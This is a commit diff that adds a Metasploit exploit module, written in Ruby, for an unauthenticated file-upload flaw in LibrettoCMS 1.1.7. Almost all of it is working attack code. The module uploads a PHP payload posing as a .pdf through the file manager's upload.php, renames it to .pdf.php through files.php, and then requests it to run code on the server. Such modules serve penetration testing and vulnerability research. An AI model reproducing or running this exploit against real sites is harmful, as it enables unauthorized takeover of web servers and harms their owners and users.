Land rapid7#1990, @wchen-r7's exploit for Libretto CMS

Author: jvazquez-r7

modules/exploits/unix/webapp/libretto_upload_exec.rb

@@ -0,0 +1,152 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Exploit::PhpEXE
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "LibrettoCMS File Manager Arbitary File Upload Vulnerability",
+			'Description'    => %q{
+				This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and
+				possibly prior.  Attackers bypass the file extension check and abuse the upload
+				feature in order to upload a malicious PHP file without authentication, which
+				results in arbitary remote code execution.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'CWH',
+					'sinn3r'  #Metasploit
+				],
+			'References'     =>
+				[
+					['OSVDB', '94391'],
+					['EDB', '26213']
+				],
+			'Payload'        =>
+				{
+					'BadChars' => "\x00"
+				},
+			'Platform'       => ['linux', 'php'],
+			'Targets'        =>
+				[
+					[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
+					[ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => "Jun 14 2013",
+			'DefaultTarget'  => 0))
+
+			register_options(
+				[
+					OptString.new('TARGETURI', [true, 'The base path to LibrettoCMS', '/librettoCMS_v.2.2.2/'])
+				], self.class)
+	end
+
+
+	def peer
+		"#{rhost}:#{rport}"
+	end
+
+
+	def check
+		res = send_request_raw({'uri' => normalize_uri(target_uri.path)})
+		if not res
+			print_error("#{peer} - Connection timed out")
+			return Exploit::CheckCode::Unknown
+		end
+
+		if res.body =~ /Powered by <a href=".+">Libretto CMS/
+			return Exploit::CheckCode::Detected
+		end
+
+		Exploit::CheckCode::Safe
+	end
+
+
+	def upload(base)
+		p     = get_write_exec_payload(:unlink_self=>true)
+		fname = "#{Rex::Text.rand_text_alpha(6)}.pdf"
+
+		data = Rex::MIME::Message.new
+		data.add_part(fname, nil, nil, "form-data; name=\"Filename\"")
+		data.add_part(p, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"")
+		data.add_part('Submit Query', nil, nil, 'form-data; name="Upload"')
+		post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
+
+		uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'upload.php')
+
+		res = send_request_cgi({
+			'method'   => 'POST',
+			'uri'      => uri,
+			'ctype'    => "multipart/form-data; boundary=#{data.bound}",
+			'data'     => post_data,
+			'vars_get' => {'type'=>'all files'}
+		})
+
+		if not res
+			fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading")
+		elsif res.code.to_i != 200
+			fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Unknown reply: #{res.code.to_s}")
+		end
+
+		fname
+	end
+
+
+	def rename(base, original_fname)
+		new_name = "#{Rex::Text.rand_text_alpha(5)}.pdf.php"
+		uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'files.php')
+		res = send_request_cgi({
+			'method'    => 'POST',
+			'uri'       => uri,
+			'vars_get'  => { 'type' => 'all files' },
+			'vars_post' => {
+				'fun'         => 'renameFile',
+				'dir'         => '',
+				'filename'    => original_fname,
+				'newFilename' => new_name
+			}
+		})
+
+		if not res
+			fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while renaming")
+		elsif res.body !~ /"res":"OK"/
+			fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to rename file")
+		end
+
+		new_name
+	end
+
+
+	def exec(base, payload_fname)
+		res = send_request_cgi({ 'uri' => normalize_uri(base, 'userfiles', payload_fname) })
+		if res and res.code.to_i == 404
+			fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
+		end
+	end
+
+
+	def exploit
+		base = target_uri.path
+
+		print_status("#{peer} - Uploading malicious file...")
+		orig_fname = upload(base)
+
+		print_status("#{peer} - Renaming #{orig_fname}...")
+		new_fname = rename(base, orig_fname)
+
+		print_status("#{peer} - Executing #{new_fname}...")
+		exec(base, new_fname)
+	end
+end